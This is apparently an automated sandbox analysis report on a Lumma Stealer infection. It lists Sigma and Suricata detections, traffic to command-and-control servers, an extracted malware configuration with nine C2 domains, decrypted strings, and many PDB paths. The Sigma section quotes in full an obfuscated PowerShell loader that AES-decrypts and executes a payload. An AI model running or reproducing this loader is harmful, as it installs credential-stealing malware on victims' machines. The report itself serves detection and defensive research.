E271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B631

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E9

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E9

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:25.594497+0100	2028371	3	Unknown Traffic	192.168.11.20	49744	104.21.44.253	443	TCP
2024-12-21T19:24:26.886990+0100	2028371	3	Unknown Traffic	192.168.11.20	49745	104.21.44.253	443	TCP
2024-12-21T19:24:36.382114+0100	2028371	3	Unknown Traffic	192.168.11.20	49758	104.21.44.253	443	TCP
2024-12-21T19:24:37.543380+0100	2028371	3	Unknown Traffic	192.168.11.20	49759	104.21.44.253	443	TCP
2024-12-21T19:24:38.578939+0100	2028371	3	Unknown Traffic	192.168.11.20	49760	104.21.44.253	443	TCP
2024-12-21T19:24:39.637649+0100	2028371	3	Unknown Traffic	192.168.11.20	49761	104.21.44.253	443	TCP
2024-12-21T19:24:40.896470+0100	2028371	3	Unknown Traffic	192.168.11.20	49762	104.21.44.253	443	TCP
2024-12-21T19:24:41.838454+0100	2028371	3	Unknown Traffic	192.168.11.20	49763	104.21.44.253	443	TCP
2024-12-21T19:24:43.162159+0100	2028371	3	Unknown Traffic	192.168.11.20	49764	104.21.44.253	443	TCP
2024-12-21T19:24:47.122449+0100	2028371	3	Unknown Traffic	192.168.11.20	49765	104.21.44.253	443	TCP
2024-12-21T19:24:48.238888+0100	2028371	3	Unknown Traffic	192.168.11.20	49766	172.67.184.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:26.605288+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49744	104.21.44.253	443	TCP
2024-12-21T19:24:27.594763+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49745	104.21.44.253	443	TCP
2024-12-21T19:24:47.825271+0100	2054653	1	A Network Trojan was detected	192.168.11.20	49765	104.21.44.253	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:26.605288+0100	2049836	1	A Network Trojan was detected	192.168.11.20	49744	104.21.44.253	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:27.594763+0100	2049812	1	A Network Trojan was detected	192.168.11.20	49745	104.21.44.253	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:41.560822+0100	2048094	1	Malware Command and Control Activity Detected	192.168.11.20	49762	104.21.44.253	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T19:24:43.166602+0100	2843864	1	A Network Trojan was detected	192.168.11.20	49764	104.21.44.253	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 7.2.powershell.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["crayonutteh.click", "rapeflowwj.lat", "discokeyus.lat", "energyaffai.lat", "crosshuaht.lat", "grannyejh.lat", "necklacebudi.lat", "sustainskelet.lat", "aspecteirs.lat"], "Build id": "yJaNLj--re2"}

Sample uses string decryption to hide its real strings

Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: rapeflowwj.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: crosshuaht.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: sustainskelet.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: aspecteirs.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: energyaffai.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: necklacebudi.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: discokeyus.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: grannyejh.lat
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: crayonutteh.click
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: TeslaBrowser/5.5
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: - Screen Resoluton:
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: - Physical Installed Memory:
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: Workgroup: -
Source: 7.2.powershell.exe.400000.0.raw.unpack	String decryptor: yJaNLj--re2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00415211 CryptUnprotectData,

7_2_00415211

Source: unknown	HTTPS traffic detected: 172.67.201.143:443 -> 192.168.11.20:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.201.143:443 -> 192.168.11.20:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.254:443 -> 192.168.11.20:49766 version: TLS 1.2

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\Submodules\DevKit-Win\DevKit\obj\Release\net462\DevKit.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_SWIG_DLL_v142.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\HTML-Renderer\Source\HtmlRenderer\obj\Release\HtmlRenderer.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\github\HTML-Renderer\Source\HtmlRenderer.PdfSharp\obj\Release\HtmlRenderer.PdfSharp.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\Build\DDNA-BuildCache\master\tmp\gpod\Build\64\Release\gpod.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle\obj\Release\net452\NetSparkle.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\DDNAToolKit\IDE\VisualStudio\DDNAInterop\obj\x64\Release\net462\DDNAInterop.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net462\Microsoft.AppCenter.pdbSHA2564 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\DDNAToolKit\IDE\VisualStudio\DDNAInterop\obj\x64\Release\net462\DDNAInterop.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdbP source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Profile-Editor-Win\Submodules\Manifest-Operations\Manifest-Operations-Shared\obj\Release\net462\Manifest-Operations-Shared.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\ColorSet\ColorSetKit\obj\Release\net462\ColorSetKit.pdbSHA256m source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_DLL_v142.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\BetterDP\BetterDP\obj\Release\net462\BetterDP.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net462\Microsoft.AppCenter.Analytics.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\github\HTML-Renderer\Source\HtmlRenderer.PdfSharp\obj\Release\HtmlRenderer.PdfSharp.pdbtj source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle.UI.WPF\obj\Release\net452\NetSparkle.UI.WPF.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net462\Microsoft.AppCenter.Crashes.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net462\Microsoft.AppCenter.Crashes.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\Submodules\DevKit-Win\DevKit\obj\Release\net462\DevKit.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net462\Microsoft.AppCenter.Analytics.pdbSHA256.j source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\ColorSet\ColorSetKit\obj\Release\net462\ColorSetKit.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Profile-Editor-Win\Submodules\Manifest-Operations\Manifest-Operations-Shared\obj\Release\net462\Manifest-Operations-Shared.pdbSHA256\ source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000005.00000002.7042183892.0000000007A50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\BetterDP\BetterDP\obj\Release\net462\BetterDP.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000005.00000002.7042183892.0000000007A50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle\obj\Release\net452\NetSparkle.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Submodules\heic-convert\Build\Release\Intermediates\win64\HEIC-NET\net462\HEIC-NET.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle.UI.WPF\obj\Release\net452\NetSparkle.UI.WPF.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\concrt140.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Submodules\heic-convert\Build\Release\Intermediates\win64\HEIC-NET\net462\HEIC-NET.pdbSHA2567 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
